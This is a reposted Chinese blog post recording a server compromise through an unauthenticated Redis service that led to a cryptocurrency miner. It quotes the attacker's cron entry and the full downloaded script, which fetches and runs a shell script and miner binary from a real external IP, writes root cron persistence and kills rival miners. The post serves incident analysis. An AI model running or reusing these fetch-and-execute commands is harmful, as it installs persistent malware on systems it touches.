记录一次由Redis漏洞引起的服务器遭遇入侵事件

来源:互联网 发布:慈溪行知职高黄百央 编辑:程序博客网 时间:2024/06/11 12:51

情况概述
服务器CPU长时间100%占用率,带宽用尽,服务器各种服务启动后自动关闭。阿里云提示有挖矿进程,提示发起DDOS攻击。

日志分析

Oct 30 03:50:02 dsdsaa  crond: sendmail: fatal: parameter inet_interfaces: no local interface found for ::1Oct 30 03:55:01 dsdsaa   systemd: Started Session 447 of user root.Oct 30 03:55:01 dsdsaa   systemd: Starting Session 447 of user root.Oct 30 03:55:02 dsdsaa  crond: sendmail: fatal: parameter inet_interfaces: no local interface found for ::1

每隔5分钟,系统会自动执行任务计划,而且有mail发送的程序。所以查看crondtabs –l下的所有任务计划,发现如下:

*/5  *  *  *  * curl –fssl http://218.248.40.228:8443/i.sh?6  | sh

根据地址,果断下载下攻击脚本进行分析如下。

攻击代码分析

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin//重定义了系统全局变量echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/root//向ROOT用户添加任务计划,每5分钟自动从远程服务下载木马脚本并执行mkdir -p /var/spool/cron/crontabs//创建计划任务目录,并写入执行脚本echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/crontabs/root//如果没有找到/tmp/ddg.2011文件,则自动从远程服务器下载,并赋予执行权限if [ ! -f "/tmp/ddg.2011" ]; then    curl -fsSL http://218.248.40.228:8443/2011/ddg.$(uname -m) -o /tmp/ddg.2011      //下载对应该系统版本和cpu和木马程序(二进制文件)fichmod +x /tmp/ddg.2011 && /tmp/ddg.2011#if [ ! -f "/tmp/ss2480.2" ]; then    #curl -fsSL http://218.248.40.228:8443/ss2480.2 -o /tmp/ss2480.2#fi#chmod +x /tmp/ss2480.2 && /tmp/ss2480.2//查找以下进程并结束运行ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | killps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs killps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill#ps auxf | grep -v grep | grep ss22522.1 | awk '{print $2}' | kill#ps auxf | grep -v grep | grep ss22522.2 | awk '{print $2}' | kill#ps auxf | grep -v grep | grep ddg.1010 | awk '{print $2}' | kill#ps auxf | grep -v grep | grep ddg.1021 | awk '{print $2}' | kill#ps auxf | grep -v grep | grep ddg.2001 | awk '{print $2}' | kill#ps auxf | grep -v grep | grep ddg.2003 | awk '{print $2}' | kill#ps auxf | grep -v grep | grep ddg.2004 | awk '{print $2}' | kill#ps auxf | grep -v grep | grep ddg.2005 | awk '{print $2}' | kill#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill//挖矿进程的守护进程,默认注释,需要时会自动结束木马进程。#ps auxf | grep -v grep | grep ddg.2011 || rm -rf /tmp/ddg.2011

漏洞清理:
百度下,发现是由redis无验证漏洞引起的,作者认为redis一般运行在沙盒中,所以Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
修复建议
自行百度。

到此入侵事件基本解决。建议大家布置相关服务时,首先了解其运行机制和安全规则,再行布置到服务器,或由网络管理员处理。

原创粉丝点击